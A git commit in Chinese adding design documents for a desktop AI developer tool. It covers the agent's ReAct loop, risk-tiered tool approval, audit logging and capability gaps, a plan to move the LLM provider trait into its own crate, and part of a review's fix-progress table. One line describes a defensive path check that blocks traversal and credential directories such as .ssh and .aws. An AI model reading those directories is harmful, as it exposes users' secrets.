重构: 文档汇总+进度看板+孤儿任务清理脚本+gitignore 噪音排除
- docs/02 架构设计: 新增 aichat审查/异步审批构想/流式渲染调研/generating状态机/密钥迁移健壮性/工作流脚本执行边界/条件表达式引擎/F-07 trait下沉/Agent架构说明/任务推进构想/功能创意池;更新功能决策记录+归档/对抗论证/文档记录规范/经验记录
- docs/03 模块文档: 新增 AI对话引擎/DAG引擎详解;更新 df-knowledge/df-nodes/df-storage/df-workflow/df-ai
- docs/05 代码审查: 新增 全栈审查/全局review/架构审查/近期改动审查/工作区多角度走查/自研memo流式渲染审查
- docs/09 问题排查: 新增 aichat-apikey-401
- docs/INDEX+README 索引同步;docs/todo 待办看板(2026-06-15 汇总)
- PROGRESS.md Sprint 22-25;URGENT.md 加急清单快照(5 项 P0 已全修)
- scripts/cleanup_orphan_tasks.{py,sh} 孤儿任务清理工具
- .gitignore 补 *.broken.bak + tmp/ 噪音排除
This commit is contained in:
161
docs/02-架构设计/Agent架构说明-2026-06-14.md
Normal file
161
docs/02-架构设计/Agent架构说明-2026-06-14.md
Normal file
@@ -0,0 +1,161 @@
|
||||
# Agent 架构与能力边界(系统现状记录) — 2026-06-14
|
||||
|
||||
> 性质: 系统现状盘点 / 能力边界(查实的事实,非构想)
|
||||
> 关联: [任务推进设计](任务推进构想-2026-06-14.md)(AI 执行层依据本文档能力边界)
|
||||
> 用途: 作为「AI 执行层」「AI 自审」等设计的真实能力依据,避免在超出系统现状的能力上做设计
|
||||
|
||||
---
|
||||
|
||||
## 1. Agent 引擎:单链 ReAct
|
||||
|
||||
### 核心:`run_agentic_loop`(`src-tauri/src/commands/ai/agentic.rs`)
|
||||
|
||||
完整的 ReAct(Reason+Act)循环:**LLM 流式接收 → 工具调用 → 执行工具 → 结果回传 LLM → 循环**。
|
||||
|
||||
```
|
||||
┌─ for iteration in 0..MAX_AGENT_ITERATIONS(10) ─────────────┐
|
||||
│ 1. 用户停止? → 收尾退出 │
|
||||
│ 2. 构建请求消息(超预算裁剪旧消息,保护工具三元组+最近6条) │
|
||||
│ 3. stream_llm(流式,含 idle timeout/断连检测/停止信号) │
|
||||
│ 4. 有 tool_calls? │
|
||||
│ ├ 无 → 最终文本,break(正常结束) │
|
||||
│ └ 有 → process_tool_calls(Low 自动 / Medium+High 待审批)│
|
||||
│ ├ 有 pending 审批 → 暂停循环(generating 保持 true)│
|
||||
│ └ 全自动完成 → 继续下一轮 │
|
||||
└─ 达 10 轮 → 正常结束 ────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
| 退出条件 | 处理 |
|
||||
|---|---|
|
||||
| LLM 只返回文本(无 tool_calls) | 正常结束,emit AiCompleted |
|
||||
| 有工具待审批 | 暂停循环,`generating` 保持 true,等 `ai_approve` → `try_continue_agent_loop` 恢复 |
|
||||
| 达 MAX_AGENT_ITERATIONS(10) | 正常结束 |
|
||||
| 用户请求停止 | 已生成文本入库后退出 |
|
||||
|
||||
**配套设施**:
|
||||
- `TokenEstimator`:超预算裁剪历史(保护工具调用三元组 + 最近 6 条)
|
||||
- `LlmConcurrency`:全局 + 单对话双层并发限流(仅覆盖 stream_llm,工具执行本地操作不限流)
|
||||
- `AiAgentRound` 事件:每轮通知前端新建 assistant 消息
|
||||
- 知识提炼(`maybe_spawn_extraction`)、标题生成(`ensure_conversation_title`)后台化
|
||||
|
||||
### 服务场景
|
||||
|
||||
当前**服务于交互式 AI 对话**(侧边栏 aichat 式),不是任务执行。会话级状态在 `AiSession`(`generating`/`messages`/`pending_approvals`/`stop_flag`)。
|
||||
|
||||
### 协调器:空壳
|
||||
|
||||
`crates/df-ai/src/coordinator.rs` 的 `AgentCoordinator` 是 **B 路线占位空壳**,注释明示:
|
||||
|
||||
> ⚠ B 路线占位:当前单链 ReAct 够用,多 Agent 协作待 B 路线立项。有意保留空壳,勿删。
|
||||
|
||||
`run()` 返回 `"TODO: Agent 协作结果"`。**多 Agent 协作、Agent 间消息传递、任务分配——全部未实现**。当前是单链 ReAct。
|
||||
|
||||
---
|
||||
|
||||
## 2. 工具系统
|
||||
|
||||
### 注册:编译期硬编码
|
||||
|
||||
`build_ai_tool_registry`(`src-tauri/src/commands/ai/tool_registry.rs:77`)启动时构建注册表。**所有工具 Rust 写死,无运行时动态注册**。
|
||||
|
||||
### 工具三要素同源
|
||||
|
||||
每个工具一次 `registry.register` 同时定义:`name + description + schema + RiskLevel + handler 闭包`。注释明示「handler 即唯一执行路径,schema+risk+实现同源,消除双轨」。
|
||||
|
||||
### 风险分级 + 审批
|
||||
|
||||
| RiskLevel | 执行 | 机制 |
|
||||
|---|---|---|
|
||||
| `Low` | 自动执行 | `process_tool_calls` 直接跑 |
|
||||
| `Medium` / `High` | **待人工审批** | 进 `ai_pending_tool_calls`(持久化到 `ai_tool_executions` 表 status='pending'),启动可恢复;`ai_approve`/`ai_reject` 决定 |
|
||||
|
||||
审批机制现成——**这是「人工核对」可直接复用的基础设施**。
|
||||
|
||||
### 路径安全
|
||||
|
||||
- `validate_path`:禁 `..` 路径遍历、禁 `.ssh/.aws/.gnupg/AppData/ProgramData/Windows/System32` 等敏感目录
|
||||
- `resolve_workspace_path`:双层校验(词法 starts_with + canonicalize 解析 symlink),防越界和符号链接逃逸,锚定 workspace_root
|
||||
|
||||
### 审计
|
||||
|
||||
`ai_tool_executions` 表(migration V9 建)记录每次工具调用,`audit_finalize` 落盘 executed/rejected + 结果。
|
||||
|
||||
---
|
||||
|
||||
## 3. 内置工具清单(固定工具集)
|
||||
|
||||
| 风险 | 工具 | 说明 |
|
||||
|---|---|---|
|
||||
| Low | `list_projects` / `list_tasks` / `list_ideas` | 列表查询(truncate 50 防 context 膨胀,排软删) |
|
||||
| Low | `read_file` / `list_directory` | 文件读取(offset/limit 分页) |
|
||||
| Medium | `create_project` / `create_task` | 创建(create_project 可选 path/stack 一步绑定) |
|
||||
| Medium | `update_project` | 改字段(复用 CRUD 白名单校验) |
|
||||
| Medium | `write_file` | 写文件(自动建父目录) |
|
||||
| Medium | `bind_directory` | 项目绑定代码目录 + 探测技术栈 |
|
||||
| — | knowledge 相关(search 等) | 对齐 MCP 语义 |
|
||||
|
||||
完整清单见 `tool_registry.rs`(约 12+ 个 register)。
|
||||
|
||||
---
|
||||
|
||||
## 4. 能力边界(查实的四个「无」)
|
||||
|
||||
| 能力 | 现状 | 证据 |
|
||||
|---|---|---|
|
||||
| **配置/调用外部工具** | ❌ 无 | 无 MCP 客户端(`knowledge.rs` 注释提「MCP 语义」只是概念对齐,非实现);无 HTTP 工具;无动态注册;工具全编译期硬编码 |
|
||||
| **自造/迭代工具** | ❌ 无 | 工具定义(schema+risk+handler)是 Rust 代码,AI 运行时不能新增/修改;AI 能 `write_file` 写代码但不会变成可调用工具(要重编译) |
|
||||
| **执行类工具**(run shell/script) | ❌ 无 | grep `exec/shell/run_command` 零命中;AI 能写代码**没有工具运行它**;agentic coding「写→跑→改」闭环做不到 |
|
||||
| **agent ↔ workflow 打通** | ❌ 未打通 | `run_workflow` AI 工具是**空壳**(返回「请通过工作流页面运行」);ScriptNode 能跑 shell 但那是工作流节点不是 agent 工具,两套执行能力割裂 |
|
||||
|
||||
---
|
||||
|
||||
## 5. 关键缺口
|
||||
|
||||
1. **执行能力**:AI 能写不能跑。要做真 agentic coding 必须补执行类工具(`run_command`/`run_script`,或把 ScriptNode 能力暴露给 agent)。
|
||||
2. **外部工具接入**:无 MCP 客户端,无法消费外部 MCP server 工具,工具集封闭。
|
||||
3. **工具自造闭环**:AI 不能为特定任务临时造工具、不能迭代改进工具。
|
||||
4. **agent ↔ workflow 割裂**:两套执行能力(agent ReAct / workflow DAG)未打通,AI 不能在 agent loop 内触发工作流。
|
||||
5. **多 Agent 协作**:coordinator 空壳,单链 ReAct,无 Agent 间消息/任务分配。
|
||||
|
||||
---
|
||||
|
||||
## 6. 对任务推进 AI 执行层的影响
|
||||
|
||||
[任务推进构想-2026-06-14.md](任务推进构想-2026-06-14.md) 的 AI 执行层(start 闸门)依赖系统 Agent 能力。本文档查实的边界直接框定其可达范围:
|
||||
|
||||
| 设计点 | 受能力边界约束的真实情况 |
|
||||
|---|---|
|
||||
| **AI 执行任务** | 现状只能用固定工具集(主要 `write_file` 写代码 + CRUD),**不能运行/验证代码**。「AI 执行」≠「AI 写码并跑通」,当前只能前者的一半(写) |
|
||||
| **AI 自审** | AiNode 现成(通用 LLM 调用),可配 review prompt 做 code review。但要审得准需 AI 能读 diff(`read_file` 可)+ 判断(LLM 可),可行 |
|
||||
| **人工核对** | `ai_pending_tool_calls`(Medium+High 审批)现成,可直接复用为 merge 关卡 |
|
||||
| **advance_task 默认 AI 触发** | agent loop 现成,AI 执行完成事件可触发推进 |
|
||||
|
||||
**结论**:AI 执行层要在当前 Agent 能力上落地,**真实可达**的是「AI 用固定工具干活(写文件/CRUD)+ AI 自审(LLM review)+ 人工审批(现成)」。要做到「AI 写码并运行验证」的真 agentic coding,**必须先补执行能力**(执行类工具 + agent/workflow 打通),否则 start 闸门的「AI 执行」实质只是「AI 写文件」。
|
||||
|
||||
---
|
||||
|
||||
## 7. 演进方向(待定,非承诺)
|
||||
|
||||
| 方向 | 内容 | 依赖 |
|
||||
|---|---|---|
|
||||
| **执行工具补全** | 暴露 `run_command`/`run_script` 为 agent 工具(沙箱化),或把 `run_workflow` 空壳做实让 agent 能触发工作流 | 安全沙箱、风险分级 |
|
||||
| **MCP 外部工具** | 接 MCP 客户端,消费外部 server 工具,工具集从封闭走向开放 | MCP 协议实现、工具配置 UI |
|
||||
| **工具自造闭环** | AI 写脚本 → 注册成工具 → agent 可调用 → 迭代改进 | 动态工具注册、工具持久化 |
|
||||
| **多 Agent 协作**(B 路线) | coordinator 实化,Agent 间消息/任务分配 | 立项 |
|
||||
|
||||
这些是补齐「真正 AI 执行」的方向,是否纳入、何时纳入,取决于任务推进 AI 执行层的目标定位(保守=AI 写文件为主 / 激进=补执行能力做真 agentic coding)。
|
||||
|
||||
---
|
||||
|
||||
## 附:关键文件
|
||||
|
||||
| 文件 | 职责 |
|
||||
|---|---|
|
||||
| `src-tauri/src/commands/ai/agentic.rs` | ReAct 循环(run_agentic_loop / try_continue_agent_loop) |
|
||||
| `src-tauri/src/commands/ai/tool_registry.rs` | 工具注册(build_ai_tool_registry)+ 路径校验 |
|
||||
| `src-tauri/src/commands/ai/audit.rs` | 工具执行审计(process_tool_calls / audit_finalize) |
|
||||
| `src-tauri/src/commands/ai/commands.rs` | 审批 IPC(ai_approve/ai_reject)+ pending 恢复 |
|
||||
| `crates/df-ai/src/coordinator.rs` | 协调器空壳(B 路线占位) |
|
||||
| `crates/df-ai/src/context.rs` | TokenEstimator(上下文裁剪) |
|
||||
| `crates/df-ai/src/ai_tools.rs` | AiToolRegistry + RiskLevel + schema |
|
||||
| `crates/df-nodes/src/ai_node.rs` | AiNode(工作流用的单次 LLM 调用节点,非 agent loop) |
|
||||
294
docs/02-架构设计/F-07-df-ai-core-trait下沉设计-2026-06-14.md
Normal file
294
docs/02-架构设计/F-07-df-ai-core-trait下沉设计-2026-06-14.md
Normal file
@@ -0,0 +1,294 @@
|
||||
# F-260614-07:df-ai-core trait 下沉拆 crate — 增强设计
|
||||
|
||||
> 将 `LlmProvider` trait + AI 数据类型从 `df-ai` 拆出,下沉到新轻量 crate `df-ai-core`,确立全局 AI 接入标准。本文档为功能决策记录同名条目的详细设计展开。
|
||||
>
|
||||
> 创建:2026-06-14 | 状态:📐 设计定稿待实施 | 前置:无 | 解锁:F-260614-03(对抗评估接 LLM)
|
||||
|
||||
## 1. 背景与问题
|
||||
|
||||
### 1.1 核心矛盾
|
||||
|
||||
`df-ideas` 的 `adversarial.rs` 对抗评估系统当前是纯启发式实现(基于评分生成正反方论点),需要接入 LLM 让论点由 AI 生成。但 `df-ideas` 不应直接依赖 `df-ai`——那会引入 reqwest/futures/eventsource-stream 等重 HTTP 依赖到灵感模块,违反 crate 职责分层。
|
||||
|
||||
### 1.2 当前依赖关系
|
||||
|
||||
```
|
||||
df-core(基础类型,零 AI 依赖)
|
||||
├── df-ai(LLM Provider、上下文管理、流式、工具注册)
|
||||
│ └── 依赖 reqwest、eventsource-stream 等 HTTP 库
|
||||
├── df-ideas(灵感捕获、评分、对抗评估)
|
||||
│ └── ❌ 当前不依赖 df-ai,adversarial.rs 全是硬编码启发式
|
||||
└── df-nodes(工作流节点)
|
||||
└── ✅ 已依赖 df-ai(AiNode 直接调 build_provider)
|
||||
```
|
||||
|
||||
### 1.3 df-ai 现有模块分析
|
||||
|
||||
| 模块 | 行数 | 依赖 | 性质 |
|
||||
|------|------|------|------|
|
||||
| `provider.rs` | 221 | serde, async-trait, futures | 纯 trait + 数据结构,**零 IO** |
|
||||
| `context.rs` | 511 | provider.rs | 消息管理 + token 裁剪,纯内存逻辑 |
|
||||
| `ai_tools.rs` | 179 | provider.rs | 工具注册表,纯内存逻辑 |
|
||||
| `stream.rs` | 45 | provider.rs | StreamCollector,纯内存逻辑 |
|
||||
| `router.rs` | 51 | serde | 模型路由,纯逻辑(当前 TODO 占位) |
|
||||
| `openai_compat.rs` | ~700 | reqwest, eventsource-stream | **HTTP 实现** |
|
||||
| `anthropic_compat.rs` | ~800 | reqwest, eventsource-stream | **HTTP 实现** |
|
||||
| `coordinator.rs` | 30 | — | B 路线占位空壳 |
|
||||
|
||||
## 2. 决策(4 项,均已定稿)
|
||||
|
||||
### 决策 1:df-ai-core 拆分边界 — 仅 trait + 数据结构
|
||||
|
||||
**方案选定**:仅将 `LlmProvider` trait 和请求/响应数据结构下沉到 `df-ai-core`。`ContextManager`、`TokenEstimator`、`AiToolRegistry` 等留在 `df-ai`。
|
||||
|
||||
| 放入 df-ai-core | 留在 df-ai |
|
||||
|---|---|
|
||||
| `LlmProvider` trait | `OpenAICompatProvider` / `AnthropicCompatProvider`(impl) |
|
||||
| `ChatMessage` / `MessageRole` | `build_provider()` 工厂函数 |
|
||||
| `CompletionRequest` / `CompletionResponse` | `ContextManager`(上下文裁剪) |
|
||||
| `ToolDefinition` / `ToolCall` / `ToolCallDelta` | `AiToolRegistry`(工具注册) |
|
||||
| `StreamChunk` / `TokenUsage` / `StreamResult` | `StreamCollector`(流式收集) |
|
||||
| `ProviderFeatures` | `ModelRouter`(模型路由) |
|
||||
| `ToolCallFunction` / `ToolFunction` | `AgentCoordinator`(B 路线占位) |
|
||||
|
||||
**df-ai-core 依赖**:serde, async-trait, futures(极轻,零 HTTP)
|
||||
|
||||
**论据**:
|
||||
|
||||
1. **df-ideas 实际需求极窄** — `adversarial.rs` 接 LLM 只需 `provider.complete()` 一次调用(1 条 system + 1 条 user),不需要流式、上下文裁剪、工具调用。下沉 ContextManager 是无收益的耦合。
|
||||
2. **ContextManager 与 AI Chat 强绑定** — 它的 `build_eviction_units` 保护工具调用三元组、PROTECT_COUNT 保留最近 6 条消息,这些都是 agentic loop 的概念。下沉会让 df-ideas 无意中依赖它不需要的概念。
|
||||
3. **变更频率差异** — trait 定义(provider.rs 结构体部分)自创建以来几乎没变;ContextManager 在 Sprint 8-18 多次迭代裁剪策略。下沉变更频繁的代码违反接口隔离原则。
|
||||
|
||||
**备选方案(否决)**:额外下沉 ContextManager — 无消费方需要,徒增耦合。
|
||||
|
||||
---
|
||||
|
||||
### 决策 2:provider 注入方式 — 构造注入 `Engine::new(Option<Arc<dyn LlmProvider>>>)`
|
||||
|
||||
**方案选定**:构造注入。`AdversarialEngine` 从无状态静态结构改为持有 `Option<Arc<dyn LlmProvider>>`。
|
||||
|
||||
```rust
|
||||
// 改造后
|
||||
pub struct AdversarialEngine {
|
||||
provider: Option<Arc<dyn LlmProvider>>,
|
||||
}
|
||||
|
||||
impl AdversarialEngine {
|
||||
/// 注入 LLM provider 构造
|
||||
pub fn new(provider: Arc<dyn LlmProvider>) -> Self { ... }
|
||||
/// 纯启发式模式(无 LLM)
|
||||
pub fn heuristic() -> Self { Self { provider: None } }
|
||||
/// 执行对抗评估
|
||||
pub async fn evaluate(&self, idea: &Idea) -> Result<AdversarialEval> { ... }
|
||||
}
|
||||
```
|
||||
|
||||
**论据**:
|
||||
|
||||
1. **与现有代码风格一致** — `IdeaPromoter::new(policy)` 已是构造注入模式(`df-ideas/src/promotion.rs`),`AdversarialEngine` 跟随同一模式。
|
||||
2. **Option 天然表达降级** — `None` 时走启发式,`Some` 时走 LLM + 失败降级。类型系统层面清晰表达"有无 LLM"两种模式,与决策 3 的降级策略无缝配合。
|
||||
3. **批量评估友好** — `evaluate_idea` IPC 批量评估 N 个灵感时,构造 1 次 engine,evaluate N 次,provider 只注入一次。参数注入方式每次调用都要传。
|
||||
4. **未来扩展空间** — 后续如需给对抗评估加配置(温度、模型偏好、最大 token),构造注入只需加字段;参数注入则签名越来越长。
|
||||
|
||||
**改造影响面**:
|
||||
- `adversarial.rs`:struct 加字段,`evaluate` 改 `&self`,内部 6 个 `Self::method()` 改 `self.method()`
|
||||
- `idea.rs`(调用方):`AdversarialEngine::evaluate(&idea)` → 先构造再 evaluate
|
||||
- 7 个单元测试:改为 `AdversarialEngine::heuristic().evaluate(&idea)` 或加辅助函数
|
||||
|
||||
**备选方案(否决)**:参数注入 `evaluate(&idea, &dyn LlmProvider)` — 与 IdeaPromoter 模式不一致,批量评估重复传参。
|
||||
|
||||
---
|
||||
|
||||
### 决策 3:LLM 失败降级策略 — 自动降级到启发式 + warn 日志 + 评估来源标记
|
||||
|
||||
**方案选定**:LLM 调用失败/超时/格式异常时,自动降级到启发式评估,`tracing::warn!` 记录失败原因。返回结果中新增 `evaluated_by` 字段标记评估来源。
|
||||
|
||||
```rust
|
||||
pub async fn evaluate(&self, idea: &Idea) -> Result<AdversarialEval> {
|
||||
match &self.provider {
|
||||
Some(p) => match self.evaluate_with_llm(idea, p).await {
|
||||
Ok(mut eval) => {
|
||||
eval.evaluated_by = EvaluatedBy::Llm;
|
||||
Ok(eval)
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!("LLM 对抗评估失败, 降级到启发式: {e}");
|
||||
let mut eval = self.evaluate_heuristic(idea);
|
||||
eval.evaluated_by = EvaluatedBy::HeuristicFallback;
|
||||
Ok(eval)
|
||||
}
|
||||
},
|
||||
None => {
|
||||
let mut eval = self.evaluate_heuristic(idea);
|
||||
eval.evaluated_by = EvaluatedBy::Heuristic;
|
||||
Ok(eval)
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**新增数据结构**:
|
||||
|
||||
```rust
|
||||
/// 评估来源标记
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
|
||||
pub enum EvaluatedBy {
|
||||
/// LLM 深度评估
|
||||
Llm,
|
||||
/// 启发式评估(无 LLM 配置时的默认模式)
|
||||
Heuristic,
|
||||
/// 启发式降级(LLM 调用失败后 fallback)
|
||||
HeuristicFallback,
|
||||
}
|
||||
```
|
||||
|
||||
`AdversarialEval` 新增字段:`pub evaluated_by: EvaluatedBy`
|
||||
|
||||
**论据**:
|
||||
|
||||
1. **启发式不是残次品** — 当前启发式是一个完整的评估系统:正方/反方论点基于真实评分数据生成,有区分度(confidence 区间设计合理),7 个单元测试覆盖高/中/低分路径,与 promotion 系统联动。降级是"降级到够用"而非"降级到垃圾"。
|
||||
2. **保证前端结构完整** — `evaluate_idea` IPC 的调用方(前端 Ideas.vue)期望拿到完整的 `AdversarialEval` 结构。降级保证结构完整返回,前端不会 crash。报错则前端需额外处理错误态。
|
||||
3. **批量评估容错** — 批量评估 50 个灵感时,第 3 个 LLM 失败不影响其余 47 个。报错中断会导致前面的评估结果全部丢失。
|
||||
4. **透明化** — `EvaluatedBy` 标记让前端可显示"AI 深度评估"或"快速评估"标签,避免用户误判评估深度。三种状态(Llm / Heuristic / HeuristicFallback)精确区分"主动选择启发式"与"被动降级"。
|
||||
|
||||
**降级场景分析**:
|
||||
|
||||
| 失败场景 | 发生概率 | 降级影响 | 报错影响 |
|
||||
|---------|---------|---------|---------|
|
||||
| 网络超时(reqwest 无超时,FR-R4 已记) | 高 | 基于评分的评估,论点稍模板化 | 功能完全不可用 |
|
||||
| API Key 无效/额度用尽 | 中 | 同上 | 同上 |
|
||||
| LLM 返回 JSON 解析失败 | 中 | 同上 | 同上 |
|
||||
| 批量评估中部分失败 | 中 | 失败的启发式兜底,成功的保留 LLM 质量 | 全部中断 |
|
||||
|
||||
**备选方案(否决)**:直接报错中断 — 启发式已足够稳定,中断用户体验不可接受。
|
||||
|
||||
---
|
||||
|
||||
### 决策 4:provider 构造归属 — 应用层(src-tauri)构造并注入
|
||||
|
||||
**方案选定**:provider 的构造(`build_provider`)仍由 `src-tauri` 应用层完成,从 DB 读取 provider 配置后构造 `Box<dyn LlmProvider>`,注入到 `AdversarialEngine`。`df-ideas` 只依赖 `df-ai-core` 的 trait,不负责构造。
|
||||
|
||||
**改造后调用链路**:
|
||||
|
||||
```
|
||||
src-tauri/src/commands/idea.rs::evaluate_idea()
|
||||
→ 从 state.ai_providers (AiProviderRepo) 读 DB 配置(复用 AI Chat 已有逻辑)
|
||||
→ df_ai::build_provider(protocol, base_url, api_key, model) 构造 Box<dyn LlmProvider>
|
||||
→ AdversarialEngine::new(Arc::from(provider))
|
||||
→ engine.evaluate(&idea)
|
||||
```
|
||||
|
||||
**应用层改造(idea.rs)**:
|
||||
|
||||
```rust
|
||||
// 改造前:
|
||||
let eval = df_ideas::adversarial::AdversarialEngine::evaluate(&idea).await?;
|
||||
|
||||
// 改造后:
|
||||
let provider = build_default_provider(&state).await; // 从 DB 读配置 + build_provider
|
||||
let engine = match provider {
|
||||
Some(p) => df_ideas::adversarial::AdversarialEngine::new(p),
|
||||
None => df_ideas::adversarial::AdversarialEngine::heuristic(),
|
||||
};
|
||||
let eval = engine.evaluate(&idea).await?;
|
||||
```
|
||||
|
||||
其中 `build_default_provider` 复用 AI Chat 已有的 provider 选择逻辑(从 `ai_providers` 表取 `is_default=true` 的配置)。
|
||||
|
||||
**论据**:
|
||||
|
||||
1. **df-ideas 依赖 df-ai 违背任务初衷** — 本任务的存在原因就是不让 df-ideas 依赖 df-ai。让 df-ideas 内部构造 provider 需要传入 base_url/api_key/model/protocol,等于强制依赖 df-ai 的 `build_provider` + HTTP 实现。
|
||||
2. **配置访问权属于应用层** — provider 配置(api_key、base_url)存在 SQLite,通过 `AiProviderRepo` 访问,是 `AppState` 的字段。df-ideas 作为领域 crate 不应知道数据库。
|
||||
3. **与 AI Chat 构造路径统一** — AI Chat 也是应用层从 DB 读配置后 `build_provider`,统一构造路径避免分裂。
|
||||
4. **可测试性** — 测试时传 mock provider 构造 engine,不需要真实配置。
|
||||
|
||||
**备选方案(否决)**:df-ideas 内部自行构造 — 直接违背任务前提(df-ideas 不依赖 df-ai),引入循环依赖风险。
|
||||
|
||||
## 3. 实施清单
|
||||
|
||||
### 3.1 新建 df-ai-core crate
|
||||
|
||||
| 文件 | 内容 |
|
||||
|------|------|
|
||||
| `crates/df-ai-core/Cargo.toml` | 依赖 serde, async-trait, futures(极轻) |
|
||||
| `crates/df-ai-core/src/lib.rs` | `pub mod provider;` + re-export |
|
||||
| `crates/df-ai-core/src/provider.rs` | 从 `df-ai/src/provider.rs` 迁移:`LlmProvider` trait + 全部数据结构 |
|
||||
|
||||
迁移内容清单(从 df-ai/src/provider.rs):
|
||||
- `LlmProvider` trait(含 `complete` / `stream` / `embed` / `name` / `supported_features`)
|
||||
- `CompletionRequest` / `CompletionResponse`
|
||||
- `ChatMessage` / `MessageRole`
|
||||
- `ToolDefinition` / `ToolFunction`
|
||||
- `ToolCall` / `ToolCallFunction` / `ToolCallDelta`
|
||||
- `TokenUsage` / `ProviderFeatures` / `StreamChunk`
|
||||
- `StreamResult` 类型别名
|
||||
|
||||
### 3.2 df-ai 改造
|
||||
|
||||
| 改动 | 详情 |
|
||||
|------|------|
|
||||
| `Cargo.toml` | 加 `df-ai-core = { path = "../df-ai-core" }` 依赖 |
|
||||
| `src/provider.rs` | 改为 `pub use df_ai_core::provider::*;`(re-export 保持外部兼容) |
|
||||
| `src/lib.rs` | 加 `pub use df_ai_core;`(可选,供直接引用) |
|
||||
| 其他模块 | 零改动 — `use crate::provider::ChatMessage` 等路径通过 re-export 仍然有效 |
|
||||
|
||||
### 3.3 df-ideas 改造
|
||||
|
||||
| 改动 | 详情 |
|
||||
|------|------|
|
||||
| `Cargo.toml` | 加 `df-ai-core = { path = "../df-ai-core" }` + `async-trait`(如需) |
|
||||
| `src/adversarial.rs` | struct 加 `provider: Option<Arc<dyn LlmProvider>>` 字段;加 `new()` / `heuristic()` 构造方法;`evaluate()` 改 `&self`;加 `evaluate_with_llm()` / `evaluate_heuristic()` 内部方法;加 `EvaluatedBy` 枚举 + `AdversarialEval.evaluated_by` 字段 |
|
||||
| `src/lib.rs` | 无改动 |
|
||||
| 单元测试 | 7 个测试改为 `AdversarialEngine::heuristic().evaluate(&idea)` |
|
||||
|
||||
### 3.4 src-tauri 改造
|
||||
|
||||
| 改动 | 详情 |
|
||||
|------|------|
|
||||
| `commands/idea.rs::evaluate_idea()` | 从 DB 读默认 provider 配置 → `build_provider()` → `AdversarialEngine::new(Arc::from(provider))` → `engine.evaluate(&idea)` |
|
||||
| 新增辅助函数 | `build_default_provider(state) -> Option<Box<dyn LlmProvider>>`(复用 AI Chat provider 选择逻辑) |
|
||||
| `Cargo.toml` | 无改动(已依赖 df-ai + df-ideas) |
|
||||
|
||||
### 3.5 df-nodes 改造
|
||||
|
||||
| 改动 | 详情 |
|
||||
|------|------|
|
||||
| 无实质改动 | df-ai re-export 后 `use df_ai::provider::LlmProvider` 仍可用 |
|
||||
|
||||
### 3.6 workspace Cargo.toml
|
||||
|
||||
| 改动 | 详情 |
|
||||
|------|------|
|
||||
| 无改动 | `members = ["crates/*", "src-tauri"]` 自动包含新 crate |
|
||||
|
||||
## 4. 风险评估
|
||||
|
||||
| 风险项 | 等级 | 缓解措施 |
|
||||
|--------|------|----------|
|
||||
| re-export 路径断裂 | 低 | `pub use df_ai_core::provider::*` 保持 `df_ai::provider::LlmProvider` 路径不变,编译器验证 |
|
||||
| df-ai-core 依赖膨胀 | 低 | 仅 serde + async-trait + futures,与 df-core 同级别 |
|
||||
| 循环依赖 | 无 | df-ai-core(叶)← df-ai(impl)/ df-ideas(use trait),src-tauri 装配,无环 |
|
||||
| 测试回归 | 低 | 7 个 adversarial 单测改为 heuristic() 构造,逻辑不变 |
|
||||
|
||||
## 5. 决策总结
|
||||
|
||||
| # | 决策项 | 选定方案 | 核心论据 | 置信度 |
|
||||
|---|--------|---------|----------|--------|
|
||||
| 1 | df-ai-core 拆分边界 | 仅 trait + 数据结构 | df-ideas 只需 complete() 一次调用;ContextManager 与 agentic loop 强绑定,变更频繁 | ⭐⭐⭐⭐⭐ |
|
||||
| 2 | provider 注入方式 | 构造注入 `Engine::new(Option<Arc<dyn LlmProvider>>)` | 与 IdeaPromoter 模式一致;Option 天然表达降级;批量评估友好 | ⭐⭐⭐⭐⭐ |
|
||||
| 3 | LLM 失败降级策略 | 自动降级 + warn + EvaluatedBy 标记 | 启发式是完整系统非残次品;保证前端结构完整;需补充评估来源标记 | ⭐⭐⭐⭐ |
|
||||
| 4 | provider 构造归属 | 应用层构造注入 | 方案 B 直接违背任务初衷;配置访问权属于应用层;与 AI Chat 构造路径统一 | ⭐⭐⭐⭐⭐ |
|
||||
|
||||
## 6. 解锁关系
|
||||
|
||||
```
|
||||
F-260614-07(本任务:df-ai-core trait 下沉)
|
||||
└── 解锁 F-260614-03(灵感对抗评估接 LLM)
|
||||
└── 解锁后续:scoring.rs 语义级评分接 LLM
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**相关文档**:
|
||||
- [功能决策记录 — AI trait 下沉条目](./功能决策记录-2026-06-14.md) (决策记录主文档)
|
||||
- [功能决策记录 — 对抗评估启发式 fallback 待接 LLM](./功能决策记录-2026-06-14.md) (灵感模块条目)
|
||||
@@ -1,6 +1,7 @@
|
||||
# aichat 审查报告 — 2026-06-14
|
||||
|
||||
> 性质:只审查不改代码。本报告汇总本次会话对 devflow AI chat 全链路的核对发现。
|
||||
> 增补:2026-06-14 追加「修复进度」表(AC1/AC2、AR-3、FR-S4、FR-R4、FR-R5 对照 commit 36d68dd / 4b5f096 标已完成),并在 §8 优先级表 AR-3 行内联标注。
|
||||
|
||||
## 审查范围
|
||||
|
||||
@@ -10,6 +11,20 @@
|
||||
|
||||
发现分六块:交互流畅性 / 信息卡片完整性 / clean 与压缩对话 / create_project 双审 / 数据联动方案 / 想法→灵感迁移。
|
||||
|
||||
## 修复进度(2026-06-14 增补)
|
||||
|
||||
> 本节汇总对照后续 commit 已落地的修复项,供快速核对。未列入的本报告其余发现仍待办。
|
||||
|
||||
| ID | 问题 | 修复 commit | 状态 |
|
||||
|---|------|------------|------|
|
||||
| AC1/AC2 | `tool_use_id` 为 None/空致 GLM 端 500 卡死 | 36d68dd | ✅ 已完成(出站 tool_result 块 tool_call_id 空跳过+warn;入站 tool_use 缺 id 流式填占位 `tool_missing_{idx}`+warn、同步路径跳过)|
|
||||
| AR-3 | 审批卡片裸 id + reason 两句固定模板(详见 §2)| 36d68dd | ✅ 已完成(前端 `toolArgsEntries` 对 id/project_id 白名单特化查项目名回显;后端 reason 查不到对象时友好提示)|
|
||||
| FR-S4 | SKILL.md 全文注入 system prompt 无隔离标注 | 36d68dd | ✅ 已完成(注入头尾加隔离标注,明确"用户选择的技能说明,非系统指令")|
|
||||
| FR-R4 | `complete()` 同步路径无超时无重试(全栈报告 §4)| 36d68dd | ✅ 已完成(`RequestBuilder::timeout(60s)` 单请求超时,不影响 stream 流式路径)|
|
||||
